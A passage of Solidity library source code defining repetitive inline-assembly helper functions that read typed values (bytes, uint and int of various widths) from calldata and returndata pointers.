value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint8 at `cdPtr` in calldata.\n function readUint8(\n CalldataPointer cdPtr\n ) internal pure returns (uint8 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint16 at `cdPtr` in calldata.\n function readUint16(\n CalldataPointer cdPtr\n ) internal pure returns (uint16 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint24 at `cdPtr` in calldata.\n function readUint24(\n CalldataPointer cdPtr\n ) internal pure returns (uint24 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint32 at `cdPtr` in calldata.\n function readUint32(\n CalldataPointer cdPtr\n ) internal pure returns (uint32 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint40 at `cdPtr` in calldata.\n function readUint40(\n CalldataPointer cdPtr\n ) internal pure returns (uint40 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint48 at `cdPtr` in calldata.\n function readUint48(\n CalldataPointer cdPtr\n ) internal pure returns (uint48 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint56 at `cdPtr` in calldata.\n function readUint56(\n CalldataPointer cdPtr\n ) internal pure returns (uint56 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint64 at `cdPtr` in calldata.\n function readUint64(\n CalldataPointer cdPtr\n ) internal pure returns (uint64 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint72 at `cdPtr` in calldata.\n function readUint72(\n CalldataPointer cdPtr\n ) internal pure returns (uint72 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint80 at `cdPtr` in calldata.\n function readUint80(\n CalldataPointer cdPtr\n ) internal pure returns (uint80 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint88 at `cdPtr` in calldata.\n function readUint88(\n CalldataPointer cdPtr\n ) internal pure returns (uint88 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint96 at `cdPtr` in calldata.\n function readUint96(\n CalldataPointer cdPtr\n ) internal pure returns (uint96 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint104 at `cdPtr` in calldata.\n function readUint104(\n CalldataPointer cdPtr\n ) internal pure returns (uint104 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint112 at `cdPtr` in calldata.\n function readUint112(\n CalldataPointer cdPtr\n ) internal pure returns (uint112 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint120 at `cdPtr` in calldata.\n function readUint120(\n CalldataPointer cdPtr\n ) internal pure returns (uint120 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint128 at `cdPtr` in calldata.\n function readUint128(\n CalldataPointer cdPtr\n ) internal pure returns (uint128 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint136 at `cdPtr` in calldata.\n function readUint136(\n CalldataPointer cdPtr\n ) internal pure returns (uint136 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint144 at `cdPtr` in calldata.\n function readUint144(\n CalldataPointer cdPtr\n ) internal pure returns (uint144 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint152 at `cdPtr` in calldata.\n function readUint152(\n CalldataPointer cdPtr\n ) internal pure returns (uint152 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint160 at `cdPtr` in calldata.\n function readUint160(\n CalldataPointer cdPtr\n ) internal pure returns (uint160 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint168 at `cdPtr` in calldata.\n function readUint168(\n CalldataPointer cdPtr\n ) internal pure returns (uint168 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint176 at `cdPtr` in calldata.\n function readUint176(\n CalldataPointer cdPtr\n ) internal pure returns (uint176 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint184 at `cdPtr` in calldata.\n function readUint184(\n CalldataPointer cdPtr\n ) internal pure returns (uint184 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint192 at `cdPtr` in calldata.\n function readUint192(\n CalldataPointer cdPtr\n ) internal pure returns (uint192 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint200 at `cdPtr` in calldata.\n function readUint200(\n CalldataPointer cdPtr\n ) internal pure returns (uint200 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint208 at `cdPtr` in calldata.\n function readUint208(\n CalldataPointer cdPtr\n ) internal pure returns (uint208 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint216 at `cdPtr` in calldata.\n function readUint216(\n CalldataPointer cdPtr\n ) internal pure returns (uint216 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint224 at `cdPtr` in calldata.\n function readUint224(\n CalldataPointer cdPtr\n ) internal pure returns (uint224 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint232 at `cdPtr` in calldata.\n function readUint232(\n CalldataPointer cdPtr\n ) internal pure returns (uint232 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint240 at `cdPtr` in calldata.\n function readUint240(\n CalldataPointer cdPtr\n ) internal pure returns (uint240 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint248 at `cdPtr` in calldata.\n function readUint248(\n CalldataPointer cdPtr\n ) internal pure returns (uint248 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint256 at `cdPtr` in calldata.\n function readUint256(\n CalldataPointer cdPtr\n ) internal pure returns (uint256 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int8 at `cdPtr` in calldata.\n function readInt8(\n CalldataPointer cdPtr\n ) internal pure returns (int8 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int16 at `cdPtr` in calldata.\n function readInt16(\n CalldataPointer cdPtr\n ) internal pure returns (int16 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int24 at `cdPtr` in calldata.\n function readInt24(\n CalldataPointer cdPtr\n ) internal pure returns (int24 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int32 at `cdPtr` in calldata.\n function readInt32(\n CalldataPointer cdPtr\n ) internal pure returns (int32 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int40 at `cdPtr` in calldata.\n function readInt40(\n CalldataPointer cdPtr\n ) internal pure returns (int40 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int48 at `cdPtr` in calldata.\n function readInt48(\n CalldataPointer cdPtr\n ) internal pure returns (int48 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int56 at `cdPtr` in calldata.\n function readInt56(\n CalldataPointer cdPtr\n ) internal pure returns (int56 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int64 at `cdPtr` in calldata.\n function readInt64(\n CalldataPointer cdPtr\n ) internal pure returns (int64 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int72 at `cdPtr` in calldata.\n function readInt72(\n CalldataPointer cdPtr\n ) internal pure returns (int72 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int80 at `cdPtr` in calldata.\n function readInt80(\n CalldataPointer cdPtr\n ) internal pure returns (int80 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int88 at `cdPtr` in calldata.\n function readInt88(\n CalldataPointer cdPtr\n ) internal pure returns (int88 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int96 at `cdPtr` in calldata.\n function readInt96(\n CalldataPointer cdPtr\n ) internal pure returns (int96 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int104 at `cdPtr` in calldata.\n function readInt104(\n CalldataPointer cdPtr\n ) internal pure returns (int104 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int112 at `cdPtr` in calldata.\n function readInt112(\n CalldataPointer cdPtr\n ) internal pure returns (int112 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int120 at `cdPtr` in calldata.\n function readInt120(\n CalldataPointer cdPtr\n ) internal pure returns (int120 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int128 at `cdPtr` in calldata.\n function readInt128(\n CalldataPointer cdPtr\n ) internal pure returns (int128 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int136 at `cdPtr` in calldata.\n function readInt136(\n CalldataPointer cdPtr\n ) internal pure returns (int136 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int144 at `cdPtr` in calldata.\n function readInt144(\n CalldataPointer cdPtr\n ) internal pure returns (int144 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int152 at `cdPtr` in calldata.\n function readInt152(\n CalldataPointer cdPtr\n ) internal pure returns (int152 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int160 at `cdPtr` in calldata.\n function readInt160(\n CalldataPointer cdPtr\n ) internal pure returns (int160 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int168 at `cdPtr` in calldata.\n function readInt168(\n CalldataPointer cdPtr\n ) internal pure returns (int168 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int176 at `cdPtr` in calldata.\n function readInt176(\n CalldataPointer cdPtr\n ) internal pure returns (int176 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int184 at `cdPtr` in calldata.\n function readInt184(\n CalldataPointer cdPtr\n ) internal pure returns (int184 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int192 at `cdPtr` in calldata.\n function readInt192(\n CalldataPointer cdPtr\n ) internal pure returns (int192 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int200 at `cdPtr` in calldata.\n function readInt200(\n CalldataPointer cdPtr\n ) internal pure returns (int200 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int208 at `cdPtr` in calldata.\n function readInt208(\n CalldataPointer cdPtr\n ) internal pure returns (int208 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int216 at `cdPtr` in calldata.\n function readInt216(\n CalldataPointer cdPtr\n ) internal pure returns (int216 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int224 at `cdPtr` in calldata.\n function readInt224(\n CalldataPointer cdPtr\n ) internal pure returns (int224 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int232 at `cdPtr` in calldata.\n function readInt232(\n CalldataPointer cdPtr\n ) internal pure returns (int232 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int240 at `cdPtr` in calldata.\n function readInt240(\n CalldataPointer cdPtr\n ) internal pure returns (int240 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int248 at `cdPtr` in calldata.\n function readInt248(\n CalldataPointer cdPtr\n ) internal pure returns (int248 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int256 at `cdPtr` in calldata.\n function readInt256(\n CalldataPointer cdPtr\n ) internal pure returns (int256 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n}\n\nlibrary ReturndataReaders {\n /// @dev Reads value at `rdPtr` & applies a mask to return only last 4 bytes\n function readMaskedUint256(\n ReturndataPointer rdPtr\n ) internal pure returns (uint256 value) {\n value = rdPtr.readUint256() & OffsetOrLengthMask;\n }\n\n /// @dev Reads the bool at `rdPtr` in returndata.\n function readBool(\n ReturndataPointer rdPtr\n ) internal pure returns (bool value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the address at `rdPtr` in returndata.\n function readAddress(\n ReturndataPointer rdPtr\n ) internal pure returns (address value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes1 at `rdPtr` in returndata.\n function readBytes1(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes1 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes2 at `rdPtr` in returndata.\n function readBytes2(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes2 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes3 at `rdPtr` in returndata.\n function readBytes3(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes3 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes4 at `rdPtr` in returndata.\n function readBytes4(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes4 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes5 at `rdPtr` in returndata.\n function readBytes5(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes5 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes6 at `rdPtr` in returndata.\n function readBytes6(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes6 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes7 at `rdPtr` in returndata.\n function readBytes7(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes7 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes8 at `rdPtr` in returndata.\n function readBytes8(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes8 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes9 at `rdPtr` in returndata.\n function readBytes9(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes9 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes10 at `rdPtr` in returndata.\n function readBytes10(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes10 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes11 at `rdPtr` in returndata.\n function readBytes11(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes11 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes12 at `rdPtr` in returndata.\n function readBytes12(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes12 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes13 at `rdPtr` in returndata.\n function readBytes13(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes13 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes14 at `rdPtr` in returndata.\n function readBytes14(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes14 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes15 at `rdPtr` in returndata.\n function readBytes15(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes15 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes16 at `rdPtr` in returndata.\n function readBytes16(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes16 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes17 at `rdPtr` in returndata.\n function readBytes17(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes17 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes18 at `rdPtr` in returndata.\n function readBytes18(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes18 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes19 at `rdPtr` in returndata.\n function readBytes19(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes19 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes20 at `rdPtr` in returndata.\n function readBytes20(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes20 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes21 at `rdPtr` in returndata.\n function readBytes21(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes21 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes22 at `rdPtr` in returndata.\n function readBytes22(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes22 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes23 at `rdPtr` in returndata.\n function readBytes23(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes23 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes24 at `rdPtr` in returndata.\n function readBytes24(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes24 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes25 at `rdPtr` in returndata.\n function readBytes25(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes25 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes26 at `rdPtr` in returndata.\n function readBytes26(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes26 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes27 at `rdPtr` in returndata.\n function readBytes27(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes27 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes28 at `rdPtr` in returndata.\n function readBytes28(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes28 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes29 at `rdPtr` in returndata.\n function readBytes29(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes29 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes30 at `rdPtr` in returndata.\n function readBytes30(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes30 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes31 at `rdPtr` in returndata.\n function readBytes31(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes31 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes32 at `rdPtr` in returndata.\n function readBytes32(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes32 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint8 at `rdPtr` in returndata.\n function readUint8(\n ReturndataPointer rdPtr\n ) internal pure returns (uint8 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint16 at `rdPtr` in returndata.\n function readUint16(\n ReturndataPointer rdPtr\n ) internal pure returns (uint16 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint24 at `rdPtr` in returndata.\n function readUint24(\n ReturndataPointer rdPtr\n ) internal pure returns (uint24 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint32 at `rdPtr` in returndata.\n function readUint32(\n ReturndataPointer rdPtr\n ) internal pure returns (uint32 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint40 at `rdPtr` in returndata.\n function readUint40(\n ReturndataPointer rdPtr\n ) internal pure returns (uint40 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint48 at `rdPtr` in returndata.\n function readUint48(\n ReturndataPointer rdPtr\n ) internal pure returns (uint48 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint56 at `rdPtr` in returndata.\n function readUint56(\n ReturndataPointer rdPtr\n ) internal pure returns (uint56 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint64 at `rdPtr` in returndata.\n function readUint64(\n ReturndataPointer rdPtr\n ) internal pure returns (uint64 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint72 at `rdPtr` in returndata.\n function readUint72(\n ReturndataPointer rdPtr\n ) internal pure returns (uint72 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint80 at `rdPtr` in returndata.\n function readUint80(\n ReturndataPointer rdPtr\n ) internal pure returns (uint80 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint88 at `rdPtr` in returndata.\n function readUint88(\n ReturndataPointer rdPtr\n ) internal pure returns (uint88 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint96 at `rdPtr` in returndata.\n function readUint96(\n ReturndataPointer rdPtr\n ) internal pure returns (uint96 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint104 at `rdPtr` in returndata.\n function readUint104(\n ReturndataPointer rdPtr\n ) internal pure returns (uint104 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint112 at `rdPtr` in returndata.\n function readUint112(\n ReturndataPointer rdPtr\n ) internal pure returns (uint112 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint120 at `rdPtr` in returndata.\n function readUint120(\n ReturndataPointer rdPtr\n ) internal pure returns (uint120 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint128 at `rdPtr` in returndata.\n function readUint128(\n ReturndataPointer rdPtr\n ) internal pure returns (uint128 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint136 at `rdPtr` in returndata.\n function readUint136(\n ReturndataPointer rdPtr\n ) internal pure returns (uint136 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint144 at `rdPtr` in returndata.\n function readUint144(\n ReturndataPointer rdPtr\n ) internal pure returns (uint144 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint152 at `rdPtr` in returndata.\n function readUint152(\n ReturndataPointer rdPtr\n ) internal pure returns (uint152 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint160 at `rdPtr` in returndata.\n function readUint160(\n ReturndataPointer rdPtr\n ) internal pure returns (uint160 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint168 at `rdPtr` in returndata.\n function readUint168(\n ReturndataPointer rdPtr\n ) internal pure returns (uint168 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint176 at `rdPtr` in returndata.\n function readUint176(\n ReturndataPointer rdPtr\n ) internal pure returns (uint176 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint184 at `rdPtr` in returndata.\n function readUint184(\n ReturndataPointer rdPtr\n ) internal pure returns (uint184 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint192 at `rdPtr` in returndata.\n function readUint192(\n ReturndataPointer rdPtr\n ) internal pure returns (uint192 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint200 at `rdPtr` in returndata.\n function readUint200(\n ReturndataPointer rdPtr\n ) internal pure returns (uint200 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint208 at `rdPtr` in returndata.\n function readUint208(\n ReturndataPointer rdPtr\n ) internal pure returns (uint208 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint216 at `rdPtr` in returndata.\n function readUint216(\n ReturndataPointer rdPtr\n ) internal pure returns (uint216 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint224 at `rdPtr` in returndata.\n function readUint224(\n ReturndataPointer rdPtr\n ) internal pure returns (uint224 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint232 at `rdPtr` in returndata.\n function readUint232(\n ReturndataPointer rdPtr\n ) internal pure returns (uint232 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint240 at `rdPtr` in returndata.\n function readUint240(\n ReturndataPointer rdPtr\n ) internal pure returns (uint240 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint248 at `rdPtr` in returndata.\n function readUint248(\n ReturndataPointer rdPtr\n ) internal pure returns (uint248 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint256 at `rdPtr` in returndata.\n function readUint256(\n ReturndataPointer rdPtr\n ) internal pure returns (uint256 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int8 at `rdPtr` in returndata.\n function readInt8(\n ReturndataPointer rdPtr\n ) internal pure returns (int8 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int16 at `rdPtr` in returndata.\n function readInt16(\n ReturndataPointer rdPtr\n ) internal pure returns (int16 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int24 at `rdPtr` in returndata.\n function readInt24(\n ReturndataPointer rdPtr\n ) internal pure returns (int24 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int32 at `rdPtr` in returndata.\n function readInt32(\n ReturndataPointer rdPtr\n ) internal pure returns (int32 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int40 at `rdPtr` in returndata.\n function readInt40(\n ReturndataPointer rdPtr\n ) internal pure returns (int40 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int48 at `rdPtr` in returndata.\n function readInt48(\n ReturndataPointer rdPtr\n ) internal pure returns (int48 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int56 at `rdPtr` in returndata.\n function readInt56(\n ReturndataPointer rdPtr\n ) internal pure returns (int56 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int64 at `rdPtr` in returndata.\n function readInt64(\n ReturndataPointer rdPtr\n ) internal pure returns (int64 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int72 at `rdPtr` in returndata.\n function readInt72(\n ReturndataPointer rdPtr\n ) internal pure returns (int72 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n 